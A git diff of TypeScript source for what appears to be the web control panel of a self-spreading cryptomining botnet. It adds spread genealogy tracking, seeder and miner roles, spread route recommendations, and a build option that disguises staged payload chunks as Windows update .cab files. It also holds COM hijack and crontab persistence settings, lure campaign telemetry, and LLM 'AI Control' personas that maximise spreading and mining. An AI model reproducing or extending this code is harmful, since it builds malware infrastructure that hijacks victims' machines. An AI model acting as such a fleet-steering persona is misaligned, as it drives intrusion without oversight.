b/server/web/src/help/applyStatsUpdate.test.ts @@ -130,4 +130,23 @@ describe('applyStatsUpdates', () => { ]); expect(next[0].lotl_attempts).toEqual(attempts); }); + + it('merges spread genealogy watermark from stats_batch', () => { + const agents = [baseAgent()]; + const next = applyStatsUpdates(agents, [ + { + agent_id: 'a1', + hashrate_15s: 100, + hashrate_1m: 100, + hashrate_15m: 100, + cpu_usage_pct: 10, + parent_agent_id: 'parent-xyz', + spread_generation: 2, + spread_strain: '#aabbcc', + }, + ]); + expect(next[0].parent_agent_id).toBe('parent-xyz'); + expect(next[0].spread_generation).toBe(2); + expect(next[0].spread_strain).toBe('#aabbcc'); + }); }); diff --git a/server/web/src/help/applyStatsUpdate.ts b/server/web/src/help/applyStatsUpdate.ts index 9c887d9..fe4d966 100644 --- a/server/web/src/help/applyStatsUpdate.ts +++ b/server/web/src/help/applyStatsUpdate.ts @@ -65,6 +65,13 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent { ...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}), ...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}), ...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}), + ...(update.parent_agent_id !== undefined ? { parent_agent_id: update.parent_agent_id } : {}), + ...(update.spread_generation !== undefined ? { spread_generation: update.spread_generation } : {}), + ...(update.spread_strain !== undefined ? { spread_strain: update.spread_strain } : {}), + ...(update.fleet_role !== undefined ? { fleet_role: update.fleet_role as Agent['fleet_role'] } : {}), + ...(update.seed_pressure !== undefined ? { seed_pressure: update.seed_pressure } : {}), + ...(update.hashrate_pressure !== undefined ? { hashrate_pressure: update.hashrate_pressure } : {}), + ...(update.emberwake_heat !== undefined ? { emberwake_heat: update.emberwake_heat } : {}), }; } diff --git a/server/web/src/help/forgeDefaults.test.ts b/server/web/src/help/forgeDefaults.test.ts index 20e793a..b69da68 100644 --- a/server/web/src/help/forgeDefaults.test.ts +++ b/server/web/src/help/forgeDefaults.test.ts @@ -16,6 +16,7 @@ describe('FORGE_BUILD_DEFAULTS', () => { expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true); expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false); expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true); + expect(FORGE_BUILD_DEFAULTS.wsus_format_mimic).toBe(true); expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false); expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off'); }); diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index c9bc8e0..f352b66 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -61,6 +61,7 @@ export const FORGE_BUILD_DEFAULTS: Omit< dns_txt_spread: true, webrtc_mesh_spread: false, wsus_cache_peer_spread: true, + wsus_format_mimic: true, com_hijack_persist: false, linux_lotl_mode: 'off', target_os: 'windows', diff --git a/server/web/src/help/forgeFormNormalize.ts b/server/web/src/help/forgeFormNormalize.ts index f1e5aae..2daae11 100644 --- a/server/web/src/help/forgeFormNormalize.ts +++ b/server/web/src/help/forgeFormNormalize.ts @@ -81,6 +81,7 @@ export function spreadKitPreset(): Partial { dns_txt_spread: true, webrtc_mesh_spread: false, wsus_cache_peer_spread: true, + wsus_format_mimic: true, com_hijack_persist: false, linux_lotl_mode: 'off', }; @@ -177,9 +178,14 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest { next.dns_txt_spread = false; next.webrtc_mesh_spread = false; next.wsus_cache_peer_spread = false; + next.wsus_format_mimic = false; next.com_hijack_persist = false; } + if (next.wsus_cache_peer_spread === false) { + next.wsus_format_mimic = false; + } + // Linux LOTL persistence — Linux/universal workers only if (isWindowsOnlyTarget(next.target_os)) { next.linux_lotl_mode = 'off'; diff --git a/server/web/src/help/forgeRules.ts b/server/web/src/help/forgeRules.ts index 552c742..1061580 100644 --- a/server/web/src/help/forgeRules.ts +++ b/server/web/src/help/forgeRules.ts @@ -489,6 +489,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record = { ai_interval_sec: 'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.', ai_persona: - 'Calibrate AI persona preset — shapes the LLM system prompt for fleet decisions. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.', + 'Calibrate AI persona preset — shapes fleet decisions and default spread tier order hints (spread_temperament) when AI Control is on. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.', ai_persona_aggressive: 'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.', ai_persona_silent: diff --git a/server/web/src/help/warRoomTelemetry.test.ts b/server/web/src/help/warRoomTelemetry.test.ts index 5692d64..c700983 100644 --- a/server/web/src/help/warRoomTelemetry.test.ts +++ b/server/web/src/help/warRoomTelemetry.test.ts @@ -1,94 +1,20 @@ import { describe, expect, it } from 'vitest'; -import { mockAgent } from '../test/fixtures'; -import { - aggregateCampaignTelemetry, - effectiveMiningHashrate, - hashHeatIntensity, - lotlTierLabel, - maxTelemetryHashrate, - mergeCampaignWithLiveTelemetry, -} from './warRoomTelemetry'; -import type { WarRoomCampaign } from '../types'; +import type { Agent } from '../types'; +import { agentEmberwakeHeat, effectiveMiningHashrate } from './warRoomTelemetry'; -describe('effectiveMiningHashrate', () => { - it('prefers mining_hashrate when present', () => { - expect( - effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })), - ).toBe(900); +describe('agentEmberwakeHeat', () => { + it('prefers server emberwake_heat when set', () => { + const agent = { emberwake_heat: 0.9 } as Agent; + expect(agentEmberwakeHeat(agent, 1000)).toBe(0.9); }); - it('falls back to CPU + GPU hashrate', () => { - expect( - effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })), - ).toBe(500); - }); -}); - -describe('aggregateCampaignTelemetry', () => { - it('groups online agents by campaign and sums hashrate', () => { - const map = aggregateCampaignTelemetry([ - mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }), - mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }), - mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }), - ]); - const linkedin = map.get('linkedin'); - expect(linkedin?.online).toBe(2); - expect(linkedin?.hashrate).toBe(500); - expect(linkedin?.mining).toBe(2); - expect(map.get('usb')?.hashrate).toBe(0); - }); -}); - -describe('mergeCampaignWithLiveTelemetry', () => { - const base: WarRoomCampaign = { - campaign: 'linkedin', - hits: 10, - downloads: 5, - agents: 2, - online: 0, - hashrate: 0, - conversion_pct: 20, - daily_hits: [1, 2, 3], - }; - - it('overlays live hashrate and online counts', () => { - const merged = mergeCampaignWithLiveTelemetry(base, { - hashrate: 1200, - online: 2, - mining: 1, - agents: [], - }); - expect(merged.hashrate).toBe(1200); - expect(merged.online).toBe(2); - expect(merged.hits).toBe(10); - }); -}); - -describe('hashHeatIntensity', () => { - it('returns 0 for zero hashrate', () => { - expect(hashHeatIntensity(0, 1000)).toBe(0); - }); - - it('scales relative to fleet max', () => { - expect(hashHeatIntensity(500, 1000)).toBe(0.5); - expect(hashHeatIntensity(2000, 1000)).toBe(1); - }); -}); - -describe('lotlTierLabel', () => { - it('returns uppercase tier or null', () => { - expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2'); - expect(lotlTierLabel('')).toBeNull(); - expect(lotlTierLabel(undefined)).toBeNull(); - }); -}); - -describe('maxTelemetryHashrate', () => { - it('finds peak campaign hashrate', () => { - const map = aggregateCampaignTelemetry([ - mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }), - mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }), - ]); - expect(maxTelemetryHashrate(map)).toBe(450); + it('uses seed_pressure for seeders', () => { + const agent = { fleet_role: 'seeder', seed_pressure: 0.6 } as Agent; + expect(agentEmberwakeHeat(agent, 0)).toBe(0.6); + }); + + it('falls back to hashrate rollup for miners', () => { + const agent = { hashrate_15m: 500, mining_hashrate: 500 } as Agent; + expect(effectiveMiningHashrate(agent)).toBe(500); }); }); diff --git a/server/web/src/help/warRoomTelemetry.ts b/server/web/src/help/warRoomTelemetry.ts index 3c1f483..4b08664 100644 --- a/server/web/src/help/warRoomTelemetry.ts +++ b/server/web/src/help/warRoomTelemetry.ts @@ -61,6 +61,20 @@ export function hashHeatIntensity(hashrate: number, maxHashrate: number): number return Math.min(1, Math.max(0.12, hashrate / maxHashrate)); } +/** Prefer server-computed emberwake_heat when present (fleet role pressure fields). */ +export function agentEmberwakeHeat(agent: Agent, maxHashrate: number): number { + if (typeof agent.emberwake_heat === 'number' && agent.emberwake_heat > 0) { + return Math.min(1, agent.emberwake_heat); + } + if (agent.fleet_role === 'seeder' && typeof agent.seed_pressure === 'number') { + return Math.min(1, Math.max(0, agent.seed_pressure)); + } + if (typeof agent.hashrate_pressure === 'number' && agent.hashrate_pressure > 0) { + return Math.min(1, agent.hashrate_pressure); + } + return hashHeatIntensity(effectiveMiningHashrate(agent), maxHashrate); +} + /** Display label for LOTL tier badge; null when unset. */ export function lotlTierLabel(tier?: string): string | null { const t = tier?.trim(); diff --git a/server/web/src/help/wsStatsCoalesce.test.ts b/server/web/src/help/wsStatsCoalesce.test.ts index 2af8d40..f528481 100644 --- a/server/web/src/help/wsStatsCoalesce.test.ts +++ b/server/web/src/help/wsStatsCoalesce.test.ts @@ -116,6 +116,28 @@ describe('agentStatsUnchanged', () => { }), ).toBe(false); }); + + it('returns false when spread genealogy watermark changes', () => { + const agent = mockAgent({ + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + parent_agent_id: 'parent-1', + spread_generation: 1, + spread_strain: '#aabbcc', + }); + expect( + agentStatsUnchanged(agent, { + agent_id: agent.id, + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + spread_generation: 2, + }), + ).toBe(false); + }); }); describe('WS_LATEST_MESSAGE_TYPES', () => { diff --git a/server/web/src/help/wsStatsCoalesce.ts b/server/web/src/help/wsStatsCoalesce.ts index 43d645c..3ee732b 100644 --- a/server/web/src/help/wsStatsCoalesce.ts +++ b/server/web/src/help/wsStatsCoalesce.ts @@ -55,6 +55,9 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean { if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false; if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false; if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false; + if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false; + if (u.spread_generation !== undefined && agent.spread_generation !== u.spread_generation) return false; + if (u.spread_strain !== undefined && agent.spread_strain !== u.spread_strain) return false; return true; } diff --git a/server/web/src/pages/ActivityFeedPage.tsx b/server/web/src/pages/ActivityFeedPage.tsx index f288096..293d7e9 100644 --- a/server/web/src/pages/ActivityFeedPage.tsx +++ b/server/web/src/pages/ActivityFeedPage.tsx @@ -44,7 +44,11 @@ const KIND_CONFIG: Record k !== 'default' +); const MAX_EVENTS = 500; function fmt(d: Date): string { @@ -88,7 +92,6 @@ export default function ActivityFeedPage() { fleetAlerts, commandResults, aiActivity, - latestMessage, } = useWebSocket(); const [events, setEvents] = useState([]); diff --git a/server/web/src/pages/PathTracerPage.tsx b/server/web/src/pages/PathTracerPage.tsx index 14e2d51..0c0f67f 100644 --- a/server/web/src/pages/PathTracerPage.tsx +++ b/server/web/src/pages/PathTracerPage.tsx @@ -2,7 +2,7 @@ import { useCallback, useEffect, useRef, useState } from 'react'; import { api } from '../api/client'; import { useModalAmbientDuck } from '../context/AmbientMusicContext'; import { useWebSocket } from '../hooks/useWebSocket'; -import type { Agent, PathTraceHop } from '../types'; +import type { Agent, PathTraceHop, SpreadRouteRecommendation } from '../types'; import { HelpTip } from '../components/HelpTip'; import './PathTracerPage.css'; @@ -13,6 +13,7 @@ interface TraceStatus { ready: boolean; error?: string; hops: PathTraceHop[]; + spread_routes?: SpreadRouteRecommendation[]; } interface QRData { @@ -111,6 +112,7 @@ export default function PathTracerPage() { const [tracing, setTracing] = useState(false); const [qr, setQR] = useState(null); const [showQR, setShowQR] = useState(false); + const [spreadRoutes, setSpreadRoutes] = useState([]); const pollRef = useRef | null>(null); const [autoEndCountdown, setAutoEndCountdown] = useState(null); @@ -146,6 +148,7 @@ export default function PathTracerPage() { setTracing(true); setHops([]); setQR(null); + setSpreadRoutes([]); try { const res = await api.startTrace(selected); setSessionID(res.session_id); @@ -165,6 +168,9 @@ export default function PathTracerPage() { try { const status: TraceStatus = await api.getTraceStatus(sid); setHops(status.hops); + if (status.spread_routes?.length) { + setSpreadRoutes(status.spread_routes); + } if (status.error) { setError(status.error); clearInterval(pollRef.current!); @@ -205,6 +211,7 @@ export default function PathTracerPage() { setTracing(false); setQR(null); setSelected([]); + setSpreadRoutes([]); setError(''); }, [sessionID]); @@ -418,6 +425,21 @@ export default function PathTracerPage() { ✓ All hops ready — tunnel is active.
)} + + {spreadRoutes.length > 0 && ( +
+
Spread Routes
+ +
+ )} diff --git a/server/web/src/pages/ROIPage.tsx b/server/web/src/pages/ROIPage.tsx index 762bf71..7af9df9 100644 --- a/server/web/src/pages/ROIPage.tsx +++ b/server/web/src/pages/ROIPage.tsx @@ -12,8 +12,10 @@ function fmt(n: number, decimals = 2) { } function fmtUSD(n: number): string { - if (n >= 1000) return `$${(n / 1000).toFixed(2)}k`; - return `$${n.toFixed(2)}`; + const sign = n < 0 ? '-' : ''; + const abs = Math.abs(n); + if (abs >= 1000) return `${sign}$${(abs / 1000).toFixed(2)}k`; + return `${sign}$${abs.toFixed(2)}`; } function effBadge(pct: number): { label: string; cls: string } { diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index cd520ad..12c1f60 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -110,6 +110,15 @@ export interface Agent { /** Session security clearance L0–L4 (live from server). */ clearance_level?: number; + /** Fleet role split telemetry (stats WS). */ + fleet_role?: 'miner' | 'seeder' | 'auto'; + seed_pressure?: number; + hashrate_pressure?: number; + emberwake_heat?: number; + parent_agent_id?: string; + spread_generation?: number; + spread_strain?: string; + /** Cloned fleet phenotype from a sibling with the same host fingerprint. */ inherited_phenotype?: InheritedPhenotype; } @@ -332,6 +341,8 @@ export interface ServerSettings { ai_interval_sec?: number; /** Fleet AI persona preset: aggressive | silent | passive | persuasive | balanced. */ ai_persona?: string; + /** Split seeders (LAN staging) from miners (RandomX) with auth role hints. */ + fleet_roles_enabled?: boolean; /** Triple onion recon/deploy gates pushed to agents at auth. */ triple_onion_policy?: { patch_first?: boolean; @@ -556,6 +567,8 @@ export interface BuildRequest { webrtc_mesh_spread?: boolean; /** WSUS SoftwareDistribution cousin staging (default ON for Windows). */ wsus_cache_peer_spread?: boolean; + /** Wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON for Windows LOTL). */ + wsus_format_mimic?: boolean; /** COM CLSID hijack persistence — high-friction; default off. */ com_hijack_persist?: boolean; /** Linux LOTL persistence: systemd_run_user | crontab | both | off */ @@ -599,6 +612,9 @@ export interface BuildRequest { /** Pull tier order from server on auth instead of baked list only. */ lotl_policy_from_server?: boolean; lotl_onion_tiers?: string[]; + /** Fleet role: miner (RandomX) | seeder (LAN staging) | auto (server hint on auth). */ + fleet_role?: 'miner' | 'seeder' | 'auto'; + seeder_mode?: boolean; } /** Fallback Stratum pool baked into the agent at forge time. */ @@ -665,6 +681,19 @@ export interface PathTraceHop { error?: string; } +export interface SpreadRouteRecommendation { + target_subnet: string; + seed_agent_id: string; + seed_agent_name?: string; + egress_agent_id: string; + egress_hop_index?: number; + session_id?: string; + join_lane?: string; + clearance_level?: number; + score: number; + reason?: string; +} + export interface ServiceGraphEntry { service_name: string; port?: number; diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index 9f686da..2729cd1 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -80,6 +80,13 @@ export interface WSStatsUpdate { vuln_findings?: import('./recon').VulnFinding[]; vuln_risk_score?: number; join_lane?: string; + parent_agent_id?: string; + spread_generation?: number; + spread_strain?: string; + fleet_role?: string; + seed_pressure?: number; + hashrate_pressure?: number; + emberwake_heat?: number; } export interface WSCommandResult {